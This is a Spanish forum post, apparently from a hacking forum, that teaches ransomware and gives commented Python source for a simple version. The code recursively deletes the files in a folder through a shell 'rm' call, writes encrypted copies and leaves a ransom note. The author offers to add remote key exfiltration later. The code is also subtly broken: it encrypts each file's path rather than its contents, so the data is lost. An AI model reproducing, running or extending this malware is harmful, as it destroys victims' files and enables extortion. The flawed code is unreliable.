Hola buenas, antes de comenzar quería decirles que no pongan en los comentarios cosas como | COMO SUBES ESTE CONTENIDO o ESTAS LOCO AL SUBIR ESTO| ya que he sido autorizado para subirlo a demás esto no solo sirve para atacar también sirve para saber como funciona uno, sabiendo eso continuemos.
Bienvenidos, a la primera parte de esta serie, los ransomeware, en este artículo veremos que es, y haremos uno sencillo, comencemos!
DEFINICIÓN.
El ransomeware es un tipo de malware, que cifra información del usuario y generalmente pide dinero por ella como el gran conocido WannaCry, el mencionado anteriormente se distribuía generalmente por una vulnerabilidad y por eso creció tanto.
Para cifrar la información se suelen usar algoritmos como AES256 el cual es muy seguro y por lo tanto no podremos recuperar los archivos fácilmente, generalmente envía la clave a un servidor remoto en el ejemplo que voy a mostrar no se enviará, eso lo haré si veo que este post en bien recibido por ustedes

.
CREANDO UN RANSOMEWARE SIMPLE + VÍDEO DEMOSTRATIVO.
Después de saber que es un ransomeware pasemos a la parte práctica. El siguiente ransomeware será programado en python3, debido a que es sencillo y potente a demas de que es mi lenguaje favorito.
CÓDIGO COMENTADO.
import os, simplecrypt, random #Importamos las librerías simplecrypt no viene por default en python pero a continuacion veremos la solución.
from getpass import getuser
user = getuser()
rut = "/home/user/Desktop/Prueba/"
ruta = rut.replace("user", user) #Conseguímos el nombre de usuario
os.system("curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py ; python get-pip.py ; pip install simplecrypt ; rm get-pip.py") # Comandos que instalan la librería simplecrypt
longitud = 20
char = "abcdefghijklmnopqrstuvwyz1234567890"
password = ""
while longitud != 0:
password += random.choice(char) # Generamos una clave aleatória de 20 caracteres con todas las letras y números.
longitud -= 1
def cifrar(carpeta):
for archivo in os.listdir(carpeta):
elementos = os.path.join(carpeta,archivo)
if os.path.isdir(os.path.join(carpeta,archivo)):
cifrar(os.path.join(carpeta,archivo)) # Encontramos todos los ficheros de un directorio
try:
leer = open(elementos, "rb")
interior = leer.read()
os.system("rm " + elementos)
archivofinal = simplecrypt.encrypt(elementos, password)
directoriocifrado = elementos + ".crypt"
abrir = open(directoriocifrado, "wb")
abrir.write(archivofinal)
abrir.close() # Ciframos eliminamos y escribimos el resultado cifrado si puede ya que si se encuentra con una carpeta no la podrá cifrar
except:
variable = 0
variable -= 1 # Hace algo inútil si encuentra algo que no puede cifrar
def recuperar():
recuperar = open("Recuperararchivos.txt", "w")
recuperar.write("DAME MIS KIBABS y te los doy (^3^)")
recuperar.write("\n")
recuperar.write(password)
recuperar.close() # Escribe el mensaje de recuperación pero también escribe la contraseña.
cifrar("/home/linuxpower/Desktop/Prueba")
recuperar() # Llama a las funciones
VÍDEO DEMOSTRATIVO.
Los enlaces son solo para miembros.
Registrate o
iniciá sesiónSaludos.